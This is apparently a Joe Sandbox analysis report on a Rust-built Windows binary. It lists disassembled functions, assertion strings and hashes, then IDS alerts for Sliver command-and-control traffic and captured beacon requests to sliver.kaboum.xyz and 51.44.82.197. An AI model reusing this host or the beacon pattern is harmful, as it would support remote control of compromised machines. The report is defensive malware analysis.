assertion failed: (*next).value.is_some(), xrefs: 00007FF70FA54CD2

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: SwitchThread
String ID: assertion failed: (*next).value.is_some()$assertion failed: (*tail).value.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/mpsc/queue.rs$called `Result::unwrap()` on an `Err` value
API String ID: 115865932-2485164683
Opcode ID: 9bfc8b081fa9fbc2e5151d9167d65a9d50ac3c5f7b5c734ab1593eb0659465ba
Instruction ID: 272802d08e2963e408706a9b7395f87480fc07f049efb079e7ecf47a31792878
Opcode Fuzzy Hash: 9bfc8b081fa9fbc2e5151d9167d65a9d50ac3c5f7b5c734ab1593eb0659465ba
Instruction Fuzzy Hash: 424173A290CAC681FA11EB15D950BF9A3A0EF99B40F844132DE8D02791DF7CE4D5C760

Function 00007FF70FA8EFE2 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 262COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA8F044
memcpy.MSVCRT ref: 00007FF70FA8F0A4
memcpy.MSVCRT ref: 00007FF70FA8F0E6

Strings

assertion failed: slot.next.is_none(), xrefs: 00007FF70FA8F103

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: slot.next.is_none()
API String ID: 3510742995-2530839625
Opcode ID: f8d783a22c6db379795edb3f9beb8a28842d331780024a58f280c287c11a31cf
Instruction ID: d216c8e1ad6876c5ea7fc9b51308347288c22645c95a6f8e27abd037afe9b770
Opcode Fuzzy Hash: f8d783a22c6db379795edb3f9beb8a28842d331780024a58f280c287c11a31cf
Instruction Fuzzy Hash: 75B181A2B0DA8292EA54FB21ED51BFEA361EF56784F804032DF5E07691DF6CE146C310

Function 00007FF70FA62CDD Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA62DA8
memcpy.MSVCRT ref: 00007FF70FA62E9B

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF70FA62F30
capacity overflow, xrefs: 00007FF70FA62EE6

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: called `Result::unwrap()` on an `Err` value$capacity overflow
API String ID: 3510742995-2618782069
Opcode ID: 5bcbbfda56e1cc618fc5b4c924e70bcc4e4a59ef896b8cd7b8473a800e70c15a
Instruction ID: 45182c794af6abbc6f760b3e953c29ab64dbeeb06035f0a75bebf95b956cb903
Opcode Fuzzy Hash: 5bcbbfda56e1cc618fc5b4c924e70bcc4e4a59ef896b8cd7b8473a800e70c15a
Instruction Fuzzy Hash: 095180A2B0DA8292EA14BB12DD00BF9A790FF56BD4F848531EE5D07795DF3CE1918320

Function 00007FF70FA46CCD Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA46D2F
memcpy.MSVCRT ref: 00007FF70FA46D93
memcpy.MSVCRT ref: 00007FF70FA46DD5

Strings

assertion failed: slot.next.is_none(), xrefs: 00007FF70FA46DF2

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID: assertion failed: slot.next.is_none()
API String ID: 3510742995-2530839625
Opcode ID: 9c19fa5293f5cfff86f6e6348e5b9ed74e7488c9e25c9e9f87605022aa45984b
Instruction ID: 54eaa323a8caf333860fa8c9804d6faa24a3a096cdaf66a63f702851a2762ebe
Opcode Fuzzy Hash: 9c19fa5293f5cfff86f6e6348e5b9ed74e7488c9e25c9e9f87605022aa45984b
Instruction Fuzzy Hash: F6316166A1CA9680E710FB11E841BEAA7A4FF46794F858032EE9C07795DF7CE085C310

Function 00007FF70FAB9060 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,00007FF70FADF3F6), ref: 00007FF70FAB907B
TlsGetValue.KERNEL32(?,?,?,?,00007FF70FADF3F6), ref: 00007FF70FAB90B3
TlsSetValue.KERNEL32(?,?,?,?,00007FF70FADF3F6), ref: 00007FF70FAB90C3

Strings

AccessErrorfatal runtime error: an irrecoverable error occurred while synchronizing threads, xrefs: 00007FF70FAB9126

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: Value
String ID: AccessErrorfatal runtime error: an irrecoverable error occurred while synchronizing threads
API String ID: 3702945584-2919278347
Opcode ID: 19baca36a788bf2afe58c682f8bcc55088bea656f3b9b2383511bd1ac31003c7
Instruction ID: f39789cb1987e86f9e6052811d866f1fcc156dec4ab4480aa4b9671b69fcac49
Opcode Fuzzy Hash: 19baca36a788bf2afe58c682f8bcc55088bea656f3b9b2383511bd1ac31003c7
Instruction Fuzzy Hash: C421A3A2B1C6D685EB15BB259C10BF9A750EF4AB90FC88035DE4D47786CF2CD9468360

Function 00007FF70FA54B04 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 00007FF70FA54B23

Strings

assertion failed: (*tail).value.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/mpsc/queue.rs, xrefs: 00007FF70FA54B52
assertion failed: (*next).value.is_some(), xrefs: 00007FF70FA54B62

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: SwitchThread
String ID: assertion failed: (*next).value.is_some()$assertion failed: (*tail).value.is_none()/home/user/.cargo/registry/src/index.crates.io-6f17d22bba15001f/futures-channel-0.3.31/src/mpsc/queue.rs
API String ID: 115865932-3666904004
Opcode ID: 8decced35dd93b6d396bd5b00b97931763e2f97465e63664bb727e2875052f44
Instruction ID: a9ea29ae840aae08ccb47e0c9d043fddb25390c91c62ffcacdd44c7f32764f23
Opcode Fuzzy Hash: 8decced35dd93b6d396bd5b00b97931763e2f97465e63664bb727e2875052f44
Instruction Fuzzy Hash: DF0121A1E0D6D691FA44FB55D9947F8E290EF49F44F998431CA0C07750DF2CA8968320

Function 00007FF70FAF4450 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70FAF4410

Strings

Overflow range error (OVERFLOW), xrefs: 00007FF70FAF4450
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70FAF43F7

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 94e5c739fd801868eef06fda9847e27c932ac6696a84b31245ca0afcddec2be7
Instruction ID: d1c6dda18e4aade3d20f32c517d4bc4bd9d0992641f6ba187fa9d05f26733a02
Opcode Fuzzy Hash: 94e5c739fd801868eef06fda9847e27c932ac6696a84b31245ca0afcddec2be7
Instruction Fuzzy Hash: F9F04F52D0CE8486D602AF68E8000EBB320FF4E788F595336EF8D2A156DF28E5869710

Function 00007FF70FAF4440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70FAF4410

Strings

Partial loss of significance (PLOSS), xrefs: 00007FF70FAF4440
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70FAF43F7

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: 157cb32f013d85e2bda920483c6c2e91b776cd34d9b3732f3b31faacc3944658
Instruction ID: 5304f8951c3c53666ea2e3705e546af5b15498521c4000d877aed5ba353a64cd
Opcode Fuzzy Hash: 157cb32f013d85e2bda920483c6c2e91b776cd34d9b3732f3b31faacc3944658
Instruction Fuzzy Hash: 8AF04F52D0CE8886D202AF6CE8000EBB320FF4E788F595336EF8D2A155DF28E5869710

Function 00007FF70FAF4430 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70FAF4410

Strings

Argument domain error (DOMAIN), xrefs: 00007FF70FAF4430
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70FAF43F7

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 0c8b60dba2f74f2e6816499f1e0b43da66dc21129365b5538ddacaf09d1b345e
Instruction ID: 1c270382c302a4fde4901706b140854bdaa5c78e61b057d484f98612f75e99b1
Opcode Fuzzy Hash: 0c8b60dba2f74f2e6816499f1e0b43da66dc21129365b5538ddacaf09d1b345e
Instruction Fuzzy Hash: B7F04F52D0CE8486D202AF68E8000EBB320FF5E788F595336EF8D2A555DF28E5869710

Function 00007FF70FAF4470 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70FAF4410

Strings

Total loss of significance (TLOSS), xrefs: 00007FF70FAF4470
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70FAF43F7

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 4b033af351bf4821a918b571c287f8b0b963916cd95e085f5bc5cb0faa623243
Instruction ID: b14c6f885dc87a4425c0aebaa583ccfbec3f1e6ef9be224f3124c6c94ec7e01b
Opcode Fuzzy Hash: 4b033af351bf4821a918b571c287f8b0b963916cd95e085f5bc5cb0faa623243
Instruction Fuzzy Hash: FCF04F52D0CE8886D602AF68E8000EBB320FF5E788F595336EF8D2A555DF28E5869710

Function 00007FF70FAF4460 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70FAF4410

Strings

The result is too small to be represented (UNDERFLOW), xrefs: 00007FF70FAF4460
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70FAF43F7

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 58489d23e9b7f466af269d478f1cb90724d03d453f1876c00fc4f9f943edd644
Instruction ID: eae46b3da11199a4acc4674bcd497b12b8e9b354b4d9e5e2dd8f5de78f82a4cb
Opcode Fuzzy Hash: 58489d23e9b7f466af269d478f1cb90724d03d453f1876c00fc4f9f943edd644
Instruction Fuzzy Hash: 3EF04F52D0CE8486D202EF68E8000EBB330FF4E788F595336EF8D2A155DF28E5869710

Function 00007FF70FAF43C8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70FAF4410

Strings

Argument singularity (SIGN), xrefs: 00007FF70FAF43C8
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70FAF43F7

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 79519b8be83ec6acd696b04a0b5484a1e7c670029a96202e03e916e1638d2e15
Instruction ID: 39548548b81f4908d574b0e99baafdac15f13255dae3c5d383a0f8789a34d0f2
Opcode Fuzzy Hash: 79519b8be83ec6acd696b04a0b5484a1e7c670029a96202e03e916e1638d2e15
Instruction Fuzzy Hash: CDF01252D0CE8486D602AF68E8001ABB320FF5E799F595326EF8D6A515DF28E5829710

Function 00007FF70FA6C7A6 Relevance: 5.2, APIs: 4, Instructions: 160COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA6C7BB
memcpy.MSVCRT ref: 00007FF70FA6C7E0
memcpy.MSVCRT ref: 00007FF70FA6C8AB
memcpy.MSVCRT ref: 00007FF70FA6C8D5

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 4edcaee4e35df96ef4b6bdda5ae4ef0168e36768e2c49ec313759da978b54264
Instruction ID: 11f68391a436f9469c5b0d2b232d03edded95c09f4f37b409d254ae0dab771c5
Opcode Fuzzy Hash: 4edcaee4e35df96ef4b6bdda5ae4ef0168e36768e2c49ec313759da978b54264
Instruction Fuzzy Hash: 4561D9A6A1C2C245E760EB219804AFEB761EF96794F804032EECD47795DF3CD545C721

Function 00007FF70FA3E621 Relevance: 5.1, APIs: 4, Instructions: 127COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FA3E77C
memcpy.MSVCRT ref: 00007FF70FA3E799
memcpy.MSVCRT ref: 00007FF70FA3E7B4
memcpy.MSVCRT ref: 00007FF70FA3E7D7

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 9c626f59e4eee03dfc609028f389d59de6220a62a74c5ddcac2b69d14991d560
Instruction ID: 3a17f879496a56cf8ecb7b8e507d0d3946e6a813d17f351758ac8e4238e01bf4
Opcode Fuzzy Hash: 9c626f59e4eee03dfc609028f389d59de6220a62a74c5ddcac2b69d14991d560
Instruction Fuzzy Hash: E24192A270CA9180EA60A615A8846EAA650FF46BF4F948735EEBD477D4CF3CE049C350

Function 00007FF70FAE4A60 Relevance: 5.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF70FAE4938
memcpy.MSVCRT ref: 00007FF70FAE4A32
memcpy.MSVCRT ref: 00007FF70FAE4A7B
memcpy.MSVCRT ref: 00007FF70FAE4A9F

Memory Dump Source

Source File: 00000000.00000002.2363754179.00007FF70FA31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF70FA30000, based on PE: true

Associated: 00000000.00000002.2363725922.00007FF70FA30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363754179.00007FF70FB5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363887937.00007FF70FB5C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363913449.00007FF70FB5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2363946148.00007FF70FB5E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70fa30000_twjMb9cX64.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 9b4e4a57a36b87a479b3199f772bc33eddd6472af80821dcdd7793eef73696c9
Instruction ID: 5eafa0fb7b28548ae1f303b4616b0c4747ecd9fcd037a3320ea041d78672b36c
Opcode Fuzzy Hash: 9b4e4a57a36b87a479b3199f772bc33eddd6472af80821dcdd7793eef73696c9
Instruction Fuzzy Hash: 7B418B62A09AD181D620DB15E8407AAA3A8FB897A0FC14732CBBD57BD9EF38D445C350

Source: Network traffic	Suricata IDS: 2852653 - Severity 1 - ETPRO MALWARE Sliver HTTP SessionInit Request : 192.168.2.5:49735 -> 51.44.82.197:443
Source: Network traffic	Suricata IDS: 2852718 - Severity 1 - ETPRO MALWARE Sliver HTTP SessionInit Response : 51.44.82.197:443 -> 192.168.2.5:49735

Source: Joe Sandbox View	ASN Name: ATGS-MMD-ASUS ATGS-MMD-ASUS
Source: Joe Sandbox View	ASN Name: OnlineSASFR OnlineSASFR

Source: global traffic	HTTP traffic detected: POST /namespaces/oauth/oauth/api/api.html?e_=5y8741670&j=1q5593623 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Content-Length: 2537Accept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/script/javascripts/javascript/app.min.js?k=100708pl054 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: POST /php/namespaces/db/samples.php?t=721425e9 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Content-Length: 3270Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /javascript/javascript/script/javascripts/javascript/app.js?k=56j965629 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /js/js/script.js?p=943p34348 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /js/script/javascript/array.js?y=113v858r22 HTTP/1.1Host: sliver.kaboum.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.3153.522 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-US,en;q=0.9Cookie: PHPSESSID=34d7ac6b3e1f63d7fa417d0a1a90362eAccept-Encoding: gzip
